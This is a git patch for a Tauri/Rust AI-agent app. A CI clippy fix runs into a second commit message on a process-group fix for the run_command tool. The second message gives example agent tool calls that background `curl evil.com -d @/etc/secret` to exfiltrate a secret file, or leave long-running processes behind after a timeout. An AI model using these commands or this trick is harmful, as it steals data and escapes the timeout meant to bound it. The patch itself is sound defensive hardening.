From 2325a48c8d514dae1dc564886ccf7ca1c69e2870 Mon Sep 17 00:00:00 2001 From: kevinnft Date: Wed, 13 May 2026 07:14:04 +0800 Subject: [PATCH 1/6] fix(ci): resolve 122 clippy violations + update bun.lockb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fixes CI failures introduced after PR #21 merged to main. **Frontend (TypeScript):** - Update bun.lockb to match current dependencies - Resolves 'lockfile had changes, but lockfile is frozen' error **Backend (Rust):** - Add #[allow(clippy::disallowed_methods)] for unavoidable macro-generated code: - serde_json::json! macro (chat_service.rs) — JSON construction from literals cannot fail - tauri::generate_context! macro (lib.rs) — Tauri code generation - tokio::runtime::Runtime::new().expect() (lib.rs) — unrecoverable failure, no meaningful recovery path - Allow unwrap/expect in test modules (executor.rs, models/mod.rs) for test brevity All violations were either: 1. Macro-generated code (serde_json, tauri) where .unwrap() is internal to the macro expansion 2. Test code where unwrap/expect is idiomatic 3. Unrecoverable initialization failures where panic is appropriate Production hand-written code remains free of unwrap/expect per clippy.toml rules.

An agent could exploit this to leave long-running processes behind: run_command sh -c '(curl evil.com -d @/etc/secret &)' # parent shell exits in milliseconds; backgrounded curl # keeps running for the full TCP timeout, exfiltrating # data even after the timeout fires and the tool call # returns "Command timed out". run_command sh -c '(sleep 3600 &)' # crypto miner, beacon, etc — survives forever. Empirically confirmed: with the previous code, the orphan continues to run after the parent shell is dropped, because it inherits the parent process group and is reparented to PID 1. The fix: - Spawn the child in its own process group on Unix (process_group(0)). - Capture the child PID before consuming the handle. - On timeout, killpg(SIGKILL) the entire group so every descendant the shell forked is reaped, not just the shell itself. - Restructure I/O capture to drive stdout/stderr reads alongside wait() instead of using wait_with_output, since we need the child handle to remain accessible for the kill path. Adds libc as a Unix-only dependency (only used for killpg). A regression test schedules a backgrounded descendant that would write a proof file 3 seconds after the parent shell exits. Before the fix the file appears; after the fix it does not. --- src-tauri/Cargo.toml | 3 ++ src-tauri/src/tools/executor.rs | 93 +++++++++++++++++++++++++++++---- 2 files changed, 86 insertions(+), 10 deletions(-) diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml index d7c3ab4..e418795 100644 --- a/src-tauri/Cargo.toml +++ b/src-tauri/Cargo.toml @@ -36,6 +36,9 @@ globset = "0.4" regex = "1" urlencoding = "2" +[target.'cfg(unix)'.dependencies] +libc = "0.2" + [profile.release] opt-level = 3 lto = true diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index 1563c4e..39fe4ed 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -307,23 +307,61 @@ impl ToolExecutor { .stderr(Stdio::piped()) .kill_on_drop(true); - let child = command.spawn().map_err(AppError::from)?; + // On Unix, place the child in its own process group so we can kill any + // descendants the shell backgrounds.
